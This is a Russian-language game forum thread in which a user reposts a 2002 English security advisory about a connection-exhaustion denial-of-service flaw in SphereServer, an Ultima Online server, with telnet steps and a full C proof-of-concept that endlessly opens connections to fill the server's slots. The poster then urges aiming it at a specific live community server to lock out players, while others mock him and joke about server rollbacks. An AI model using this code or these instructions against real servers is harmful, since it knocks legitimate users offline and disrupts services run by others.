PDA

Просмотр полной версии : Еще рас и подробно



uorypT ToJICTbIu
28.05.2007, 17:31
H Zero Seven Security Advisory [15.02.2002]
-------------------------------------------

SphereServer Denial of Service Vulnerability

--------------------------------------------

Summary:

The SphereServer is an Ultima Online Roleplay Server
(Multiplayer). Some people use this inofficial Server
to host Free Roleplay Worlds for an large community of
Players. The Developer of the Software is MenaSoft
(www.menasoft.com). Thus no ip-limitation exists in
the configuration so anyone can connect several times.
The Problem is that an client can hold the connection
without user-identification. So its possible to reach
the maximum connection count and block other users.


Affected Systems:

Sphere99x - Linux, FreeBSD, Win32

Possible affected:

Sphere 0.5x


Informations:

The SphereServer user-auth is very simple and you can authenticate with telnet too.

linentw:~ # telnet target 2593
Trying target...
Connected to target.
Escape character is '^]'.

[so at this point the sphereserver count you as an client]:

90:Client connected [Total:1] from '10.0.0.112'.

[now send an space and the sphereserver ask for the username]

Username: _

[type username return and the password]

cc:Login 'validusername' <-- loged in and with the client you can play :)


So the problem is that the server count you as an client still you
connect and sent nothing to it. And do this several times until the
max_connections reached, so the server blocks all new connections.

linentw:~ # telnet target 2593
Trying target...
Connected to target.
Escape character is '^]'.
Maximum connections reached, please try it later
Connection closed by foreign host.

There is no true time_out variable in the configuration file and the death_socket
function does not work correctly in sphere. The Vendor has been informed about this,
but no answer.

www.sphereserver.com
www.menasoft.com

Fix:

no true fix available, but set the death_socket variable in the configuration to 3
should help for the first time, even it does not work correctly (its like an
dice-game).


Disclaimer:

This advisory does not claim to be complete. The informations may be inaccurate or
wrong. Possible exploit code is only written for testing purposes. Articles based on
informations in this advisory should have an link to this document.


Exploit:

/*
*
* www.h07.org
* H Zero Seven
* Unix Security Research Team
*
* Sphere Ultima Online Server - Denial of Service Vulnerability
* poc-exploit...
*
* Simple code to eat all connections from the gameserver, so other
* peoples could not connect to the server.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
int fd;
struct sockaddr_in tgt;

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) return -1;
memset(&tgt,0,sizeof(struct sockaddr_in));
tgt.sin_port = htons(port);
tgt.sin_family = AF_INET;
tgt.sin_addr.s_addr = ip;
if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1;
return fd;
}

int sprint(int fd, const char *str,...)
{
va_list args;
char buf[4096];
memset(&buf,0,sizeof(buf));
va_start(args,str);
vsnprintf(buf,sizeof(buf),str,args);
return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in box;

fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
fprintf(stderr, "H Zero Seven - Unix Security Research Team - www.h07.org\n\n");
if (argc < 2) {
fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
return;
}

fprintf(stderr,"for the full advisory regarding this vulnerability visit
www.h07.org ... \n");
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) {
perror("socket() ");
return;
}

fprintf(stderr,"Attacking sphere : ");
for (;;) {
int sock;

sock = Connect(inet_addr(argv[1]),
(argc>2)?(atoi(argv[2])):3128);
if (sock<0) {
sleep(10);
continue;
}
fprintf(stderr, ".*");
}
}



Reference:

H Zero Seven - Unix/Linux Developer Team
http://www.h07.org


Описание: Нет таймаута на соединение до проверки имени пользователя и ограничения числа коннектов с одного IP.
Опасность: 9/10

BepkuT
28.05.2007, 17:32
Бред ты пишеш , запарил с какойто сферой , тут понтонуться хочеш.... Лесом иди :lol:

Haldir
28.05.2007, 17:32
Да не парься, Одиколон всё равно исходники сферы зажал :D

R a m
28.05.2007, 17:33
обычно с боку , коменты пишут.. я просто не врубаюсь где там ето.. какая строка.?:

uorypT ToJICTbIu
28.05.2007, 17:33
теперь объясню, запускаем, ставим таргеты на оском сервер, выполняем, смотрим как быстро заполоняеться онлайн, сфера если выжержит - то онлайн мах, некого больше не пустит, если не выжержит - будет откат

Eidolon
28.05.2007, 17:34
На первую строчку посмотри, дятел :) Год там видишь? Это такие 4 циферки последние в квадратных скобочках %) написано 2002, а щас 2007... Если отнять от 2007 2002 - будет 5. Этому эксплоиту 5 (ПЯТЬ!!!) лет %) Никого ты им уже не напугаешь :)

BepkuT
28.05.2007, 17:34
Да не парься, Одиколон всё равно исходники сферы зажал :D

МОжеш объяснить вообще к чему это он выкладывает? :D

Haldir
28.05.2007, 17:35
Это всё туфта, я вот на Опее пол-года назад баг нашёл, которым можно было сферу откатывать :)

Spitfire
28.05.2007, 17:35
...
Потсану все малину поломал :D

Eidolon
28.05.2007, 17:36
Это всё туфта, я вот на Опее пол-года назад баг нашёл, которым можно было сферу откатывать :)

Да её и щас ничё не мешает откатывать %) Тока не таким древним извратом %)

BepkuT
28.05.2007, 17:36
:)

Ух ты , вот как вы осады брали? :D :D

uorypT ToJICTbIu
28.05.2007, 17:36
На первую строчку посмотри, дятел :) Год там видишь? Это такие 4 циферки последние в квадратных скобочках %) написано 2002, а щас 2007... Если отнять от 2007 2002 - будет 5. Этому эксплоиту 5 (ПЯТЬ!!!) лет %) Никого ты им уже не напугаешь :)
ЛОХ?! скажеш на оскоме залатали дыру ? тестил сейчас еше и на 0,99 все прекрасно пашет, так что не пизди тут ока ?

Haldir
28.05.2007, 17:37
МОжеш объяснить вообще к чему это он выкладывает? :D
Ну он наверно у себя дома запустил TUS, откомпилил прогу и пришёл в экстаз от полученного результата :)
Короче, там просто создаются "фиктивные" соединения.

white
28.05.2007, 17:37
Это такие 4 циферки последние в квадратных скобочках %) написано 2002, а щас 2007... Если отнять от 2007 2002 - будет 5. Этому эксплоиту 5 (ПЯТЬ!!!) лет %) Никого ты им уже не напугаешь :)
Вот с этих строк я реально выпааал :D:D:D:D

R a m
28.05.2007, 17:37
Никого ты им уже не напугаешь :)
все я терь больше не боюсь, а поначалу уххх как испугалсо.. ухх

Haldir
28.05.2007, 17:37
Ух ты , вот как вы осады брали? :D :D
Не я сразу сдал баг. Сейчас кстати очень жалею :D

BepkuT
28.05.2007, 17:39
...

А я сразу не боялся , так всё равно не понял , что это и для чего он кидал :D :D А куда он это впихнуть хотел то?

Eidolon
28.05.2007, 17:39
Нашёл где тестить %) На 99 %)
Да не, флаг те в руки, кул хацкер %) Пробуй %) Тока не удевляйся потом, что тебя на половину крупных российских серверов пускать разом перестанет ;)

BepkuT
28.05.2007, 17:40
[ :D

А дали хоть там ленточку за баг ? :D :D :D Или же отделался спасибо

uorypT ToJICTbIu
28.05.2007, 17:42
Нашёл где тестить %) На 99 %)
Да не, флаг те в руки, кул хацкер %) Пробуй %) Тока не удевляйся потом, что тебя на половину крупных российских серверов пускать разом перестанет ;)
мне от етого не холодно не жарко.

Eidolon
28.05.2007, 17:43
мне от етого не холодно не жарко.

Ну мне от твоих жалких попыток тоже %) Да и остальным не навредишь %) Так что дерзай %)

Templar
28.05.2007, 17:44
Одеколон взял и насрал в душу ребенку :D

BepkuT
28.05.2007, 17:52
Вот терь я понял , почему ёгурт зол на Адикалона ... Адикалон слишком много срёт на него , он аж сожрать не успевает :D :D

R a m
28.05.2007, 17:58
мде.. нубы почитают, они же не поимут Ацкомовского "юмора" .не надо так жестить.. не надо..

Chef'iR
28.05.2007, 18:03
А дали хоть там ленточку за баг ? :D :D :D Или же отделался спасибо

Ага дали,ну потом как обычно и еше дали.

П.С.Ему бан на форуме дали.
П.П.С.А баг был такой интересный просто жесть, можно было катать о2 годами.

Spitfire
28.05.2007, 18:04
А дали хоть там ленточку за баг ?
Угу, потом догнали и еще раз дали :D

Gangsta
28.05.2007, 18:25
Я тож не понял как этот скрипт запускать.. в пилоте чтоли? :D

R a m
28.05.2007, 18:26
за баги я смарю всем дают.. условные ленты.. еще никто при мне за баг не получил ленты..

C.C.C.P
28.05.2007, 19:30
Ёгурт кул хацкер :) А Эди обламал ему всю малину :(